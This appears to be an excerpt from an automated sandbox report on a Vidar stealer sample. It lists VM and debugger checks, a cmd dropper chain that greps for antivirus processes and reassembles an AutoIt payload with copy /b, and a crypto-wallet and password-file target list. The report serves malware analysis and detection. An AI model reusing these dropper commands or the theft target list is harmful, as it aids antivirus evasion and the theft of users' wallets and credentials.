Source: chrome.exe, 00000010.00000003.1300741703.0000026719E19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ime Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts
Source: chrome.exe, 00000010.00000002.1337056073.00000267151A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processorw
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition
Source: Amcache.hve.12.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Web Data.28.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: Web Data.28.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: chrome.exe, 00000010.00000003.1301206825.0000026719E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flus
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.28.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: chrome.exe, 00000010.00000002.1337056073.0000026715141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V HypervisoriC
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipess
Source: chrome.exe, 00000010.00000002.1349322140.0000203C00E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \Google\Chrome\User Data\Defaultt=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=ba817f54-83de-46fb-962a-6ef7166f353d
Source: Web Data.28.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: chrome.exe, 00000010.00000002.1339787392.0000026719E81000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1305435741.0000026719E7B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1305161971.0000026719E7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: chrome.exe, 00000010.00000002.1337056073.00000267151A6000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1337056073.00000267151C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: chrome.exe, 00000010.00000002.1349322140.0000203C00E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: t=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=ba817f54-83de-46fb-962a-6ef7166f353d
Source: Web Data.28.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processort`9
Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.28.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition*
Source: Web Data.28.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.28.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Web Data.28.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.28.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes
Source: Web Data.28.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.28.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: chrome.exe, 00000010.00000002.1337056073.00000267151A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service5
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Web Data.28.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes
Source: Web Data.28.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: The counters in this collection refer to system-wide metrics about the performance of the Event Tracing for Windows subsystem.unt Infinite3094Hyper-V Virtual Machine Bus Pipes3096Reads/sec3098Writes/sec3100Bytes Read/sec3102Bytes Writt
Source: Web Data.28.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Web Data.28.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Web Data.28.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.28.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: chrome.exe, 00000010.00000002.1337056073.00000267151A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processoruis
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partitionuiv9
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: chrome.exe, 00000010.00000003.1262563047.0000203C003C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.28.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: chrome.exe, 00000010.00000002.1337056073.0000026715141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V frbuikavxvbradr Bus
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: chrome.exe, 00000010.00000002.1335744029.0000026711478000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1400520523.000001ACDF442000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 00000010.00000003.1300885067.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1300319412.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition4908Virtual Processors4910VirtL
Source: chrome.exe, 00000010.00000002.1349322140.0000203C00E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=ba817f54-83de-46fb-962a-6ef7166f353d
Source: chrome.exe, 00000010.00000002.1337056073.0000026715108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: chrome.exe, 00000010.00000003.1300885067.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1300319412.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: essions6328Inactive Sessions6330Total Sessions4806Hyper-V Hype
Source: Web Data.28.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorc.sysj
Source: Web Data.28.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: chrome.exe, 00000010.00000003.1300885067.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1300319412.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ount 64ms9706Runtime Count 256ms9708Runtime Count 1s9710Runtime Count 4s9712Runtime Count 16s9714Runtime Count 1min9716Runtime Count Infinite3094Hyper-V Virtual Machine Bus Pipes3096Reads/sec3098Writes/sec3100Bytes Read/sec3102Bytes Writt
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1300885067.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1300319412.0000026719DDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4788Hyper-V Hypervisor4790Logical Processors4792
Source: Web Data.28.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor7
Source: chrome.exe, 00000010.00000002.1339787392.0000026719D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition.dll

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D7F4FF BlockInput,

12_2_00D7F4FF

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D0338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00D0338B

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Code function: 0_2_00405BA9 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405BA9

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D25058 mov eax, dword ptr fs:[00000030h]

12_2_00D25058

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D620AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

12_2_00D620AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D32992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00D32992
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D20BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00D20BAF
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D20D45 SetUnhandledExceptionFilter,	12_2_00D20D45
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D20F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00D20F91

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

12_2_00D61B4D

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D0338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00D0338B

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D6BBED SendInput,keybd_event,

12_2_00D6BBED

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D6ECD0 mouse_event,

12_2_00D6ECD0

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 714380	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Hiv.jar	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "prague" Mean	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 714380\Wake.com + Valuable + Concert + Cap + Continuously + Portable + Electro + Volleyball + Alien + Convicted + Acids + Assumes 714380\Wake.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Revelation.jar + ..\Keyboard.jar + ..\Ellis.jar + ..\Leaves.jar + ..\Grass.jar T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\714380\Wake.com Wake.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D614AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

12_2_00D614AE

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D61FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00D61FB0

Source: Wake.com, 0000000C.00000002.2163265785.0000000000DC3000.00000002.00000001.01000000.00000008.sdmp, Convicted.8.dr, Wake.com.1.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Wake.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D20A08 cpuid

12_2_00D20A08

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D5E5F4 GetLocalTime,

12_2_00D5E5F4

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D5E652 GetUserNameW,

12_2_00D5E652

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Code function: 12_2_00D3BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

12_2_00D3BCD2

Source: C:\Users\user\Desktop\jPKFh06jHI.exe

Code function: 0_2_004060B4 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_004060B4

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Wake.com PID: 5716, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,bcex.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,eth.,recovery.,.kdbx,ngrave.,safepal.,ellipal.,UTC-.,bitgo.,nano.txt,bitstamp.,bittrex.,xrp.,phrase.,ripple.,doge.,cardano.,daedalus.,.kdb,phantom.*
Source: Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
